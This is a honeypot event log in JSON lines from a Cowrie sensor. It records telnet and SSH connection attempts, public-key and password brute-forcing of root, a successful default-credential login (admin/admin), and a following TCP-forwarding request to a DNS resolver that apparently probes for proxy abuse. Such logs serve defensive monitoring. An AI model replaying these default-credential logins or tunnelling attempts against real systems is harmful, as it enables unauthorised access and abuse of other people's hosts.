{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dba3acaacb5","protocol":"telnet","message":"New connection: 192.119.13.58:57718 (10.17.0.5:23) [session: 2dba3acaacb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:17.478974Z"}
{"eventid":"cowrie.session.closed","duration":31.397995710372925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:19.372974Z","src_ip":"192.119.13.58","session":"9f8992833277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.80191612243652,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:19.787379Z","src_ip":"192.119.13.58","session":"81203114307f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41490,"dst_ip":"10.17.0.5","dst_port":23,"session":"eafcdd104b59","protocol":"telnet","message":"New connection: 192.119.13.58:41490 (10.17.0.5:23) [session: eafcdd104b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:20.155041Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43676,"dst_ip":"10.17.0.5","dst_port":23,"session":"d17960dc9094","protocol":"telnet","message":"New connection: 192.119.13.58:43676 (10.17.0.5:23) [session: d17960dc9094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:20.601501Z"}
{"eventid":"cowrie.session.closed","duration":0.005083560943603516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:20.606452Z","src_ip":"192.119.13.58","session":"d17960dc9094","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.737483739852905,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:21.898629Z","src_ip":"192.119.13.58","session":"fe7f1e8464e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.45719385147095,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:26.078545Z","src_ip":"192.119.13.58","session":"c5257c56d4c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.721025705337524,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:27.677866Z","src_ip":"192.119.13.58","session":"ed31bc6094bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49204,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4b6043b7ff","protocol":"telnet","message":"New connection: 192.119.13.58:49204 (10.17.0.5:23) [session: ef4b6043b7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:28.694107Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45704,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb16e4e0706","protocol":"telnet","message":"New connection: 192.119.13.58:45704 (10.17.0.5:23) [session: 8cb16e4e0706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:35.152582Z"}
{"eventid":"cowrie.session.closed","duration":41.570537090301514,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:35.898761Z","src_ip":"192.119.13.58","session":"35f3760a6ddb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54594,"dst_ip":"10.17.0.5","dst_port":23,"session":"4524432b8b2d","protocol":"telnet","message":"New connection: 192.119.13.58:54594 (10.17.0.5:23) [session: 4524432b8b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:37.448304Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.250.61.10","src_port":41008,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c78b2137b57","protocol":"ssh","message":"New connection: 94.250.61.10:41008 (10.17.0.5:22) [session: 2c78b2137b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:40.260060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:40.265331Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:40.376666Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:a9:22:cf:b1:0d:3b:3e:85:41:70:23:a5:bf:52:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOohaLl5Cy00mD/D3LW0ImZo52hCV5B81XIfMjeuHUpY","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint aa:a9:22:cf:b1:0d:3b:3e:85:41:70:23:a5:bf:52:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:40.902834Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:a9:22:cf:b1:0d:3b:3e:85:41:70:23:a5:bf:52:d8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOohaLl5Cy00mD/D3LW0ImZo52hCV5B81XIfMjeuHUpY","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:40.906741Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:11:3f:a7:3a:9d:0c:a0:c9:75:b6:c7:d7:d3:7c:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAveipx92SQWOd3iwknBvBn/WN/aRPi6PB0up6qMo185e/IlkeC23TVUJTcF7Jnm9tkMNGOZtXLR125fb5IG7K1Rpn4x3WRiUKIwgRnnYUy08KW/R0IW8eoXWqtPXdN8H7YFw+FLukZxcdbx3wy8nf70VUQmyvT+gQAdGiXVROteARrSCYg6+OtcZ/M3dIda10L+L4yNRRCb0Hdj7z9HptP429ayNRmsNvaPqeZFvO8FWz4fyWjL29v9L8pfoU8zYstaZGKrb1t1vQnFyxeFnra+INShXPzhto+t484GiCETrILrVk0TtSV60q+SM1S4RQ1wL4uJKPdxXg4GQZx1LGew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:11:3f:a7:3a:9d:0c:a0:c9:75:b6:c7:d7:d3:7c:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:41.016945Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:11:3f:a7:3a:9d:0c:a0:c9:75:b6:c7:d7:d3:7c:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAveipx92SQWOd3iwknBvBn/WN/aRPi6PB0up6qMo185e/IlkeC23TVUJTcF7Jnm9tkMNGOZtXLR125fb5IG7K1Rpn4x3WRiUKIwgRnnYUy08KW/R0IW8eoXWqtPXdN8H7YFw+FLukZxcdbx3wy8nf70VUQmyvT+gQAdGiXVROteARrSCYg6+OtcZ/M3dIda10L+L4yNRRCb0Hdj7z9HptP429ayNRmsNvaPqeZFvO8FWz4fyWjL29v9L8pfoU8zYstaZGKrb1t1vQnFyxeFnra+INShXPzhto+t484GiCETrILrVk0TtSV60q+SM1S4RQ1wL4uJKPdxXg4GQZx1LGew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:41.021412Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:cd:cb:db:1e:a9:e6:3f:12:6d:b2:e7:b1:ce:f3:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvOC9wbVULworEdO6b2F5OYpRvR9ZTJ8/Kkq2gjomizO93yNrKgDW94tDBJt9nYeITD87itHxXc3iA/yjwvi4QdVY1PZi/1GaBASU+0bjHev/+2dPmMrOIjlEj5wHG2QapewVOJH2ZcCnHLgUqBDj1KI/mx8tzOhWXyANpdWAIjWyCSnTd57u9ml8iZyTemCyujnUVVAGPDy4M9Wws+oq4c2SrHgbIxSVEqN9svWTYpYx2SZnp0dxhkLZVdyvXB42LzokIjHSPoX6z05pzbFUaw/4CtclfqtuCRHvl7uiXqgusFK30olKSF8qjLifL9RRkZOA2oaSENohDL1ygAEeFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:cd:cb:db:1e:a9:e6:3f:12:6d:b2:e7:b1:ce:f3:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:41.137780Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:cd:cb:db:1e:a9:e6:3f:12:6d:b2:e7:b1:ce:f3:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvOC9wbVULworEdO6b2F5OYpRvR9ZTJ8/Kkq2gjomizO93yNrKgDW94tDBJt9nYeITD87itHxXc3iA/yjwvi4QdVY1PZi/1GaBASU+0bjHev/+2dPmMrOIjlEj5wHG2QapewVOJH2ZcCnHLgUqBDj1KI/mx8tzOhWXyANpdWAIjWyCSnTd57u9ml8iZyTemCyujnUVVAGPDy4M9Wws+oq4c2SrHgbIxSVEqN9svWTYpYx2SZnp0dxhkLZVdyvXB42LzokIjHSPoX6z05pzbFUaw/4CtclfqtuCRHvl7uiXqgusFK30olKSF8qjLifL9RRkZOA2oaSENohDL1ygAEeFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:41.141788Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:90:83:ef:6c:82:34:52:c6:a9:6d:2c:07:80:3d:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxjlruQT+WV71uHIPEB9qFbE9dhdovZKF+K065VC3zZG8YIGWuJfaUZ9YUtLosbaSEN1xkjr8CKMb7/YIdicR4ys/AaOnOkbjroMrN4R6z/ROuPF2BriPPCSLYt9tshFxYdry2xyyHGAVfnGtVdgx+1J/AadNFqaftFUnqNGY1BMgIbFd5AlZKUrWq4LmDZPSDM3U2qcR3GhVBjM8eJaxjq6ANAl7LX1wY9jWjOTMycoHQojAxNwLdV/fyaBSFbv/miNiNwqIlw3kcoGNtRUGHExDnlfcyhc0h24GOAqTw+A6eDlOLbvImkcoAEzIAs2I9s2yOJwk0qCqKMJGrwzX3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:90:83:ef:6c:82:34:52:c6:a9:6d:2c:07:80:3d:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:41.251375Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:90:83:ef:6c:82:34:52:c6:a9:6d:2c:07:80:3d:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxjlruQT+WV71uHIPEB9qFbE9dhdovZKF+K065VC3zZG8YIGWuJfaUZ9YUtLosbaSEN1xkjr8CKMb7/YIdicR4ys/AaOnOkbjroMrN4R6z/ROuPF2BriPPCSLYt9tshFxYdry2xyyHGAVfnGtVdgx+1J/AadNFqaftFUnqNGY1BMgIbFd5AlZKUrWq4LmDZPSDM3U2qcR3GhVBjM8eJaxjq6ANAl7LX1wY9jWjOTMycoHQojAxNwLdV/fyaBSFbv/miNiNwqIlw3kcoGNtRUGHExDnlfcyhc0h24GOAqTw+A6eDlOLbvImkcoAEzIAs2I9s2yOJwk0qCqKMJGrwzX3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:41.255596Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:a9:2a:d2:bb:7f:7b:79:19:56:54:80:0a:31:68:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGQIlCOQRcCprEjVVVYQo1x8qxE5C5V1CMFJjTJTxTl0rQ5ou+6X0jHSG4K6noJOmqDGm0p41ysIU7bW3Ag7fMmuYJuFEuwovzZaGExk048xThuWZvL7yYLTwLmJENjlAJvtvzDIhjDpdYLco6lcI60gwEBm85O0aejOHgTDiRlvxQ3bXB0QJTq3PhjBno8O9hzuO48V2rwBeaQTGDFt/1muaYFNx6bdZcKsKr1lStEld9n0y79lEpEWH+BwlC0V5JyXjPaNpQBUYhTseByRgVDvFtZziKDVP0JuRb36MkhrQgAv745/FAik5B4FJK4ptrpH6TZWI8HYoTEeqGonhvDNXV9rpMsxVRXa4Ol/MOUr/sK2tK3gsnJWUv81hDmoXuecaEywMUGSPBA+r5P7PE5X3BYLB+c+LG87d5e23JIiuWKjuREW6VVu8CgC+77LHWXVgWaTo/C1H9CVtv2l6ZlvfSaDubxVL6Hpd3tDdTlwhvhAjaSrYQyuY4L6dfSdc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:a9:2a:d2:bb:7f:7b:79:19:56:54:80:0a:31:68:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:41.367125Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:a9:2a:d2:bb:7f:7b:79:19:56:54:80:0a:31:68:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGQIlCOQRcCprEjVVVYQo1x8qxE5C5V1CMFJjTJTxTl0rQ5ou+6X0jHSG4K6noJOmqDGm0p41ysIU7bW3Ag7fMmuYJuFEuwovzZaGExk048xThuWZvL7yYLTwLmJENjlAJvtvzDIhjDpdYLco6lcI60gwEBm85O0aejOHgTDiRlvxQ3bXB0QJTq3PhjBno8O9hzuO48V2rwBeaQTGDFt/1muaYFNx6bdZcKsKr1lStEld9n0y79lEpEWH+BwlC0V5JyXjPaNpQBUYhTseByRgVDvFtZziKDVP0JuRb36MkhrQgAv745/FAik5B4FJK4ptrpH6TZWI8HYoTEeqGonhvDNXV9rpMsxVRXa4Ol/MOUr/sK2tK3gsnJWUv81hDmoXuecaEywMUGSPBA+r5P7PE5X3BYLB+c+LG87d5e23JIiuWKjuREW6VVu8CgC+77LHWXVgWaTo/C1H9CVtv2l6ZlvfSaDubxVL6Hpd3tDdTlwhvhAjaSrYQyuY4L6dfSdc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:41.371401Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:41.485201Z","src_ip":"94.250.61.10","session":"2c78b2137b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52802,"dst_ip":"10.17.0.5","dst_port":23,"session":"859655e72b81","protocol":"telnet","message":"New connection: 192.119.13.58:52802 (10.17.0.5:23) [session: 859655e72b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:43.582965Z"}
{"eventid":"cowrie.session.closed","duration":57.19508504867554,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:50.162326Z","src_ip":"192.119.13.58","session":"29c9e26879ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81938290596008,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:51.298250Z","src_ip":"192.119.13.58","session":"2dba3acaacb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":55178,"dst_ip":"159.203.135.109","dst_port":22,"session":"53bac4bc7397","protocol":"ssh","message":"New connection: 43.134.100.175:55178 (159.203.135.109:22) [session: 53bac4bc7397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:52.324119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:52.329257Z","src_ip":"43.134.100.175","session":"53bac4bc7397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:52.583110Z","src_ip":"43.134.100.175","session":"53bac4bc7397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35296,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fc4a685d57a","protocol":"telnet","message":"New connection: 192.119.13.58:35296 (10.17.0.5:23) [session: 9fc4a685d57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:53.237351Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kfk","message":"login attempt [root/kfk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:53.591529Z","src_ip":"43.134.100.175","session":"53bac4bc7397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:54.832866Z","src_ip":"43.134.100.175","session":"53bac4bc7397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.67444443702698,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:54.916081Z","src_ip":"192.119.13.58","session":"3ac904e73df0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11896,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a272da1d107","protocol":"ssh","message":"New connection: 87.251.64.176:11896 (10.17.0.5:22) [session: 8a272da1d107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:59.854484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:59.860327Z","src_ip":"87.251.64.176","session":"8a272da1d107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:38:59.957305Z","src_ip":"87.251.64.176","session":"8a272da1d107","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:00.249676Z","src_ip":"87.251.64.176","session":"8a272da1d107","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:00.353848Z","session":"8a272da1d107","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:39:00.465311Z","src_ip":"87.251.64.176","session":"8a272da1d107","protocol":"ssh"}
